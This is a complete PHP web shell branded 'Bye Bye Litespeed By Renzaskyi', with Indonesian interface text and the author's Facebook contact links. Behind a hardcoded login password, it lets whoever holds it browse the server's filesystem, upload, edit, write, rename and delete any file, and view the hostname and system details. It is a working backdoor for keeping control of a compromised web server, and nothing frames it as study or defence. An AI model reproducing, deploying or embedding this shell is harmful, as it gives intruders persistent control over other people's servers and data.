<?php
session_start();
// ===== LOGIN PROTECT =====
$password = "indosatoredo";
if (!isset($_SESSION['logged_in'])) {
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["login_pass"])) {
if ($_POST["login_pass"] === $password) {
$_SESSION['logged_in'] = true;
} else {
echo "<script>alert('Lammer Kayak U Gak Cocok Jadi Bocah Penikung Bro, My Contact => https://www.facebook.com/share/17CRj8DwiF/');</script>";
}
}
if (!isset($_SESSION['logged_in'])) {
echo '
<html>
<head>
<style>
@import url("https://fonts.googleapis.com/css2?family=Orbitron:wght@500;700&family=Share+Tech+Mono&display=swap");
body {
background: url("https://g.top4top.io/p_3600j80i01.jpg") center/cover no-repeat;
color: #ff4040;
font-family: "Orbitron", "Share Tech Mono", monospace;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 100vh;
text-shadow: 0 0 15px #ff4040;
margin: 0;
}
form {
background: rgba(0, 0, 0, 0.7);
padding: 25px 40px;
border-radius: 15px;
border: 1px solid #ff4040;
box-shadow: 0 0 25px #ff4040;
}
input[type=password] {
background: #0a0a0a;
border: 1px solid #ff4040;
padding: 12px;
border-radius: 8px;
color: #fff;
width: 220px;
font-size: 15px;
}
input[type=submit] {
margin-top: 12px;
padding: 10px 30px;
background: linear-gradient(90deg, #ff4040, #ff0000);
border: none;
border-radius: 8px;
cursor: pointer;
color: #000;
font-weight: bold;
text-transform: uppercase;
letter-spacing: 1px;
}
h2 {
margin-bottom: 20px;
font-size: 26px;
letter-spacing: 1px;
color: #fff;
}
</style>
</head>
<body>
<h2>Bye Bye Litespeed By Renzaskyi</h2>
<form method="post">
<input type="password" name="login_pass" placeholder="Masukkan Password"><br>
<input type="submit" value="Login">
</form>
</body>
</html>';
exit;
}
}
// ==== by Renzaskyi ====
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = realpath($path);
chdir($path);
// === DELETE FILE/FOLDER ===
if (isset($_GET['delete'])) {
$target = $_GET['delete'];
if (is_file($target)) unlink($target);
elseif (is_dir($target)) rmdir($target);
header("Location: ?path=" . urlencode(dirname($target)));
exit;
}
// === RENAME ===
if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) {
rename($_POST['rename_old'], $_POST['rename_new']);
header("Location: ?path=" . urlencode($path));
exit;
}
// === EDIT FILE ===
if (isset($_GET['edit'])) {
$editFile = $_GET['edit'];
if (isset($_POST['new_content'])) {
file_put_contents($editFile, $_POST['new_content']);
header("Location: ?path=" . urlencode($path));
exit;
}
$content = htmlspecialchars(file_get_contents($editFile));
echo "
<html><head><title>Edit File - $editFile</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@500&display=swap');
body { background:#000; color:#ff4040; font-family:'Orbitron', monospace; }
textarea { width:95%; height:70vh; background:#111; color:#fff; border:1px solid #ff4040; padding:10px; font-family:monospace; }
input[type=submit]{ padding:10px 25px; background:#ff4040; border:none; cursor:pointer; color:#000; font-weight:bold; border-radius:8px; }
</style>
</head><body>
<h2>Edit File: $editFile</h2>
<form method='post'>
<textarea name='new_content'>$content</textarea><br>
<input type='submit' value='Simpan'>
</form>
</body></html>";
exit;
}
// === UPLOAD FILE ===
if (isset($_FILES['file_upload'])) {
move_uploaded_file($_FILES['file_upload']['tmp_name'], $path . "/" . $_FILES['file_upload']['name']);
header("Location: ?path=" . urlencode($path));
exit;
}
// === CREATE FILE ===
if (isset($_POST['new_file'])) {
$newFile = $path . "/" . $_POST['new_file'];
if (!file_exists($newFile)) file_put_contents($newFile, "");
header("Location: ?path=" . urlencode($path));
exit;
}
// === CREATE FOLDER ===
if (isset($_POST['new_folder'])) {
$newFolder = $path . "/" . $_POST['new_folder'];
if (!file_exists($newFolder)) mkdir($newFolder);
header("Location: ?path=" . urlencode($path));
exit;
}
// === LOGOUT HANDLER ===
if (isset($_GET['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Renzaskyi</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@500;700&family=Share+Tech+Mono&display=swap');
html, body {
margin: 0; padding: 0; height: 100%;
font-family: 'Orbitron', 'Share Tech Mono', monospace;
color: #ff4040; background: #000;
overflow-x: hidden;
}
canvas#matrix {
position: fixed; top: 0; left: 0;
z-index: -1; width: 100%; height: 100%;
background: #000;
}
h1, h2 { text-shadow: 0 0 10px #ff4040; letter-spacing: 1px; }
table {
margin: 20px auto; width: 90%;
border-collapse: collapse;
background: rgba(0,0,0,0.7);
border: 1px solid #ff4040;
border-radius: 10px;
box-shadow: 0 0 15px #ff4040;
}
th, td { padding: 10px 14px; border-bottom: 1px solid #ff4040; }
a { color: #ff8080; text-decoration: none; }
a:hover { color: #fff; text-shadow: 0 0 10px #ff4040; }
input[type=file], input[type=text] {
background: #111; border: 1px solid #ff4040;
color: #fff; border-radius: 5px; padding: 7px;
}
input[type=submit] {
background: linear-gradient(90deg, #ff4040, #ff0000);
border: none; padding: 7px 20px;
border-radius: 5px; cursor: pointer;
color: #000; font-weight: bold;
text-transform: uppercase; letter-spacing: 1px;
}
.server-info {
width: 85%; margin: 30px auto; padding: 20px;
border: 1px solid #ff4040; border-radius: 10px;
background: rgba(0,0,0,0.6);
box-shadow: 0 0 15px #ff4040;
}
</style>
</head>
<body>
<canvas id="matrix"></canvas>
<center>
<h1> By Renzaskyi</h1>
<h3><?= htmlspecialchars($path) ?></h3>
<!-- Logout -->
<form method="get" style="margin-top:10px;">
<input type="hidden" name="logout" value="1">
<input type="submit" value="Logout">
</form>
<!-- File Actions -->
<form method="post" enctype="multipart/form-data">
<input type="file" name="file_upload" required>
<input type="submit" value="Upload File">
</form>
<form method="post">
<input type="text" name="new_file" placeholder="Nama file baru" required>
<input type="submit" value="Create File">
</form>
<form method="post">
<input type="text" name="new_folder" placeholder="Nama folder baru" required>
<input type="submit" value="Create Folder">
</form>
<!-- Server Info -->
<div class="server-info">
<h2>[ ! ] Server Information [ ! ]</h2>
<b>Hostname:</b> <?= gethostname(); ?><br>
<b>PHP Version:</b> <?= phpversion(); ?><br>
<b>System:</b> <?= php_uname(); ?>
</div>
<!-- Writer Directory -->
<div class="server-info">
<h2>Writer Directory</h2>
<form method="post">
<input type="text" name="writer_filename" placeholder="Nama file baru" required><br><br>
<textarea name="writer_content" rows="6" cols="60" placeholder="Tulis isi file di sini..." style="background:#111;color:#fff;border:1px solid #ff4040;border-radius:10px;padding:10px;font-family:'Share Tech Mono';"></textarea><br>
<input type="submit" name="writer_submit" value="Tulis File">
</form>
</div>
<?php
// === Writer Directory Handler ===
if (isset($_POST['writer_submit'])) {
$newFile = $path . "/" . $_POST['writer_filename'];
$content = $_POST['writer_content'];
file_put_contents($newFile, $content);
echo "<script>alert('File berhasil ditulis: ' + '".htmlspecialchars($_POST['writer_filename'])."');window.location='?path=".urlencode($path)."';</script>";
exit;
}
?>
<!-- File List -->
<table>
<tr><th>Nama</th><th>Ukuran</th><th>Aksi</th></tr>
<?php
$files = scandir($path);
if ($path != "/") {
echo "<tr><td colspan='3'><a href='?path=" . urlencode(dirname($path)) . "'>[Kembali]</a></td></tr>";
}
$folders = $regularFiles = [];
foreach ($files as $file) {
if ($file === "." || $file === "..") continue;
$fullpath = $path . "/" . $file;
if (is_dir($fullpath)) $folders[] = $file;
else $regularFiles[] = $file;
}
foreach (array_merge($folders, $regularFiles) as $file) {
$fullpath = $path . "/" . $file;
echo "<tr>";
echo "<td>" . (is_dir($fullpath) ? "<a href='?path=" . urlencode($fullpath) . "'>[DIR] <b>$file</b></a>" : $file) . "</td>";
echo "<td>" . (is_file($fullpath) ? filesize($fullpath) . " bytes" : "-") . "</td>";
echo "<td>";
if (is_file($fullpath)) echo "<a href='?edit=" . urlencode($fullpath) . "'>Edit</a> | ";
echo "<a href='?delete=" . urlencode($fullpath) . "' onclick='return confirm(\"Hapus $file?\")'>Hapus</a> | ";
echo "<form method='post' style='display:inline;'>
<input type='hidden' name='rename_old' value='$fullpath'>
<input type='text' name='rename_new' placeholder='Rename ke' size='10'>
<input type='submit' value='Rename'>
</form>";
echo "</td></tr>";
}
?>
</table>
<script>
const c = document.getElementById("matrix");
const ctx = c.getContext("2d");
c.height = window.innerHeight;
c.width = window.innerWidth;
const letters = "01 02 03 04 05 06 07 08 09 0A 0B 0C".split("");
const fontSize = 16;
const columns = c.width / fontSize;
const drops = Array.from({ length: columns }).fill(1);
function draw() {
ctx.fillStyle = "rgba(0, 0, 0, 0.1)";
ctx.fillRect(0, 0, c.width, c.height);
ctx.fillStyle = "#ff4040";
ctx.font = fontSize + "px monospace";
for (let i = 0; i < drops.length; i++) {
const text = letters[Math.floor(Math.random() * letters.length)];
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
if (drops[i] * fontSize > c.height && Math.random() > 0.975) drops[i] = 0;
drops[i]++;
}
}
setInterval(draw, 50);
</script>
<br><u><b><a target="_blank" href="https://www.facebook.com/share/1BLZnbLFif/">My Contact</a></b></u>
</center>
</body>
</html>